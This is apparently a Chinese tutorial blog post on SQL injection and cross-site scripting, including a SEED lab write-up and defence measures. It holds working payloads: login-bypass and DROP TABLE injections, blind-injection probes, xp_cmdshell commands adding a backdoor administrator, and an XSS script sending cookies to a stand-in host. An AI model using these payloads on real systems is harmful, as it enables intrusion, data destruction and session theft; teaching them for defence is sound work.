web应用程序安全攻防---sql注入和xss跨站脚本攻击
kali视频学习请看
http://www.cnblogs.com/lidong20179210/p/8909569.html
博文主要内容包括两种常见的web攻击
- sql注入
- XSS跨站脚本攻击
代码注入攻击
- 代码注入攻击
- Web应用程序的输入验证不完善漏洞
- 执行由攻击者所注入的恶意指令和代码
- 敏感信息泄露、权限提升或对系统的未授权访问
- 多样化的代码注入攻击类型
- SQL注入攻击:恶意读取、修改与操纵数据库;
- PHP注入或ASP注入攻击:植入和运行Webshell
- Shell注入攻击:恶意执行操作系统命令的;
- 其他多样化注入攻击: LDAP注入、邮件命令注入、 SSI
SQL注入攻击 (SQL Injection)
SQL注入攻击对Web应用程序的威胁,相当大部分Web应用程序使用后台数据库,动态产生内容
SQL注入攻击:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。
SQL注入漏洞机制
- 用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、 百分号)
- 没有进行严格类型检查:未判断输入是否预定类型
SQL注入攻击案例解析
inputusername = request.form("username")
inputpasswd = request.form("passwd")
set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;"
set rso = server.CreateObject("ADODB.RecordSet")
sql = "SELECT * FROM accounts WHERE username ='" & inputusername
& "' AND passwd = '" & inputpasswd & "'"
rso.Open sql, cn
if rso.eof then
response.write("login error: username or passwd incorrect")
else
response.write("login success")
end if
正常情况
- 用户名: guojing;口令: 123456
- 正常SQL: SELECT * from FROM accounts WHERE
username ='guojing' AND passwd = '123456'
攻击方法一
- 用户名/口令:
huangrong' OR '1'='1
- 注入SQL结果:
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1'
AND passwd = 'huangrong' OR '1'='1'
等价于: SELECT * from FROM accounts
后果:绕过了login.asp用户身份认证的正常逻辑,获得访问
攻击方法二
- 口令框输入:
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
- 注入SQL结果:
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts;
SELECT * FROM admin WHERE 't' = 't'
实际SQL注入攻击步骤
1. 发现SQL注入点
注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页
- 手工审查
- Google Hacking
注入点验证
- 整数型参数:
- “yyy'” (加单引号) : SQL错误
- “yyy and 1=1” :正常页面
- “yyy and 1=2” :空白页面
- 字符串参数
- “yyy'” (加单引号) : SQL错误
- “yyy' and '1'='1” : 正常页面
- “yyy' and '1'='2” : 空白页面
2. 判断后台数据库类型
- Web应用程序流行的后台数据库
- ASP: MS SQL Server/ACCESS
- PHP: MySQL
- 利用数据库服务器的系统变量进行判断
- MS SQL Server: user/db_name()
- MySQL: basedir、 …
- http://SITE/xxx.asp?some_rec=yyy and db_name()>0
- 利用数据库服务器的系统表进行判断
- ACCESS: msysobjects
- MS SQL Server: sysobjects
- MySQL: mysql
- http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0
3. 利用SQL注入进行后台口令拆解
- 猜解后台口令表表名
- http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
- 猜解字段名
- http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
- 猜解字段值: 二分法逼近
- 字段长度:
- http://SITE/xxx.asp?some_rec = yyy and(select top1 len(username) from Admin)>[guessed_length]
- 字段值: 逐位猜解
- http://SITE/xxx.asp?some_rec = yyyand (select top1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
- 口令可能为MD5散列后的密文
- MD5Crac
4. 上传ASP后门,得到默认账户权限
后台管理界面
- 利用提供的上传/下载文件等功能上传ASP后门
Web服务器软件的默认账户权限
- 本地受限账户命令执行
- Web虚拟目录中文件上传/下载
利用MS SQL Server的BCP命令
- bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
5. 本地特权提升与利用数据库扩展存储过程
- 进一步本地权限提升
- 利用系统或某些特权应用服务(如Serv-U)安全漏洞
- 利用系统配置不当提升系统权限
- MS SQL Server等DBMS支持扩展存储过程
- xp_cmdshell, 需要sa帐户权限
- 通过SQL注入点执行相应的扩展存储过程
- 添加有本地系统管理员权限的后门用户帐号
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add”
- http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add”
SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制
- 凡是来自外部的用户输入,必须进行完备检查
- “限制、拒绝、净化”
- URLScan过滤器:丢弃符合给定规则的输入
- PHP v5.2.0: filter_input()与filter_var()
- 将动态SQL语句替换为存储过程、预编译SQL或ADO
命令对象 - 加强SQL数据库服务器的配置与连接
- 避免将敏感性数据(如口令)明文存放于数据库中
- 最小权限原则配置Web应用程序连接数据库的查询操作权限
- 实现一个不泄漏任何有价值信息的默认出错处理机制
实践
SEED Ubuntu镜像
环境配置
实验需要三样东西,
- Firefox、apache、phpBB2(镜像中已有):
- ①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
- ②phpBB2 web应用:镜像已经安装,通过http://www.sqllabmysqlphpbb.com访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
- ③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com指向本机IP 127.0.0.1。如果需要在其他机器访问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。
关闭对抗措施PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。
- 1.找到/etc/php5/apache2/php.ini
- 2.找到magic_quotes_gpc = On这一行
- 3.改为magic_quotes_gpc = Off
- 4.重启Apache:sudo service apache2 restart
- Note for Instructors最好拥有一些背景知识
- 1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data
- 2.对SQL语句的一些了解
- 3.如何操作MySQL数据库
- 4.对PHP一些了解
实验过程及结果
对SELECT语句的攻击
此次任务,你需要通过访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB之前系统会要求你登陆。这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。
去网上寻找了答案,答案的是在用户名输入ted'#,密码空着就行,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。
对UPDATE语句的攻击
- 当用户想要在phpBB2中修改他们的资料时,可以点击Profile,然后填写表单修改。
用户发送修改请求后,会执行include/usercp_register.php中的一条UPDATE SQL语句。在这条语句中同样有一个SQL注入漏洞,请用它来达到以下目标:在不知道其他人密码的情况下修改其资料。
提交后发现SQL语句的结构,根据分析语句结构,分析出注入漏洞在
查看Memberlist表单,发现id号
通过此漏洞即可通过更改id号更改信息,此处我们修改admin的信息
修改成功。
跨站脚本攻击(XSS: Cross-Site Scripting)
什么是跨站脚本? (Wikipedia)
- 跨站脚本是一种通常存在于Web应用程序中的安全
漏洞,使得攻击者可以将恶意的代码注入到网页中,
从而危害其他Web访问者。- 客户端脚本: Javascript, Flash ActionScript
等
- 客户端脚本: Javascript, Flash ActionScript
- 与代码注入攻击的比较
- 相似的漏洞根源: Web应用程序没有对非预期输入做全面有效检查和净化.
- 不同的最终攻击目标
- 代码注入: Web站点
- XSS:访问Web应用程序的其他用户
典型跨站脚本攻击
- 查看用户终端会话Cookie
- <script>alert(document.cookie)</script>
- 会话ID、甚至登录口令等敏感信息
- 窃取Cookie
- 攻击者控制网站: steal_cookie_example.com
- <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script>
- 网页挂马
- <iframe src="http://target_link" height=0 width=0></iframe>
- <script src = "http://target_link"></script>
跨站脚本攻击类型
- 持久性XSS: Persistent/stored
- 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上.
- 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害.
- 典型案例: 留言本/论坛/博客/wiki等。
- 非持久性XSS: Non-Persistent/reflected
- 用户输入产生XSS反馈给该用户,需结合社会工程学进行攻击
- DOM-based: 本地XSS, 如JS本地生成HTML页面中存在
XSS跨站脚本攻击防范措施
- 服务器端防范措施-“限制、拒绝、净化”
- 输入验证: 对用户提交数据进行尽可能严格的验证与过滤
- 输出净化: HTMLEncode()方法
- 消除危险的输入点
- 客户端防范措施
- 提高浏览器访问非受信网站时的安全等级
- 关闭Cookie功能,或设置Cookie只读(IE6SP1 HTTPonly cookie)
- 安全意识和浏览习惯->主流浏览器Chrome,Safari, Opera
实例
XSS实验相对SQL简单一些,答案也全,上两个结果截图。
web应用程序安全攻防---sql注入和xss跨站脚本攻击的更多相关文章
- 分享一个php的防火墙,拦截SQL注入和xss
一个基于php的防火墙程序,拦截sql注入和xss攻击等 安装 composer require xielei/waf 使用说明 $waf = new \Xielei\Waf\Waf(); $waf- ...
- WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等
核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...
- PHP防止SQL注入和XSS攻击
PHP防止SQL注入和XSS攻击PHP防范SQL注入是一个非常重要的安全手段.一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力.说到网站安全,就不得不提到SQL注入( ...
- DDOS、CC、sql注入,跨站攻击防御方法
web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- SQL 注入、XSS 攻击、CSRF 攻击
SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参 ...
- SQL注入和XSS攻击
SQL注入 定义:黑客通过在请求的数据中填入特殊字符,影响服务器数据库操作程序正常执行,从而达到攻击的目的. 形式: 拼接SQL: 登录验证:前台输入 username:yan password:12 ...
- yii框架各种防止sql注入,xss攻击,csrf攻击
PHP中常用到的方法有: /* 防sql注入,xss攻击 (1)*/ function actionClean($str) { $str=trim($str); ...
- 防止sql注入。xss攻击 方法
//防止sql注入.xss攻击 /** * 过滤参数 * @param string $str 接受的参数 * @return string */ publ ...
随机推荐
- c++的格式控制
1: 每个iostream对象维持一个控制IO格式化细节的格式状态.标准库定义了一组操纵符来修改对象的格式状态.所谓操纵符是可用作输入或输出操作符的函数或对象.iostream和iomanip头文件中 ...
- Nginx rewrite配置
rewrite应用 Rewrite模块设置及Wordpress和Discuz的示例.Nginx的Rewrite规则比Apache的简单灵活多了,从下面介绍可见一斑. rewrite配置 Nginx可以 ...
- 如何修改Django中的日期和时间格式 DateTimeField
html页面从数据库中读出DateTimeField字段时,显示的时间格式和数据库中存放的格式不一致,比如数据库字段内容为2017-06-03 13:00:00,但是页面显示的却是Apr. 03, 2 ...
- 如何选择合适的MySQL数据类型
一.MySQL数据类型选择原则 更小的通常更好:一般情况下选择可以正确存储数据的最小数据类型.越小的数据类型通常更快,占用磁盘,内存和CPU缓存更小. 简单就好:简单的数据类型的操作通常需要更少的CP ...
- 从零开始玩转logback
概述 LogBack是一个日志框架,它与Log4j可以说是同出一源,都出自Ceki Gülcü之手.(log4j的原型是早前由Ceki Gülcü贡献给Apache基金会的)下载地址:http://l ...
- Mysql数据库导出sql脚本
1. 运行环境Centos mysqldump -h localhost -u root -p etv > ./etv.sql etv 是要导出的数据库名 > 设置导出的路径和文件名
- 去除掉myeclipse2017页面右上角的图片
图标如下所示,这是方便测试用的,但是有时候也很碍人. 在servers中进行关闭,操作如下所示: 点击图中的CodeLive就可以使图标消失,再次点击图标会再次出现.
- Pycharm for mac 快捷键
cmd b 跳转到声明处(cmd加鼠标) opt + 空格 显示符号代码 (esc退出窗口 回车进入代码) cmd []光标之前/后的位置 opt + F7 find usage cmd backsp ...
- Html工具类
import java.io.IOException; import java.io.PrintWriter; import javax.servlet.http.HttpServletRespons ...
- element-ui 的el-button组件中添加自定义颜色和图标的实现方法
这篇文章主要介绍了element-ui 的el-button组件中添加自定义颜色和图标的实现方法,目前的解决方案是:添加一个自定义全局指令,同时在element-ui源码中,加入对应的组件.需要的朋友 ...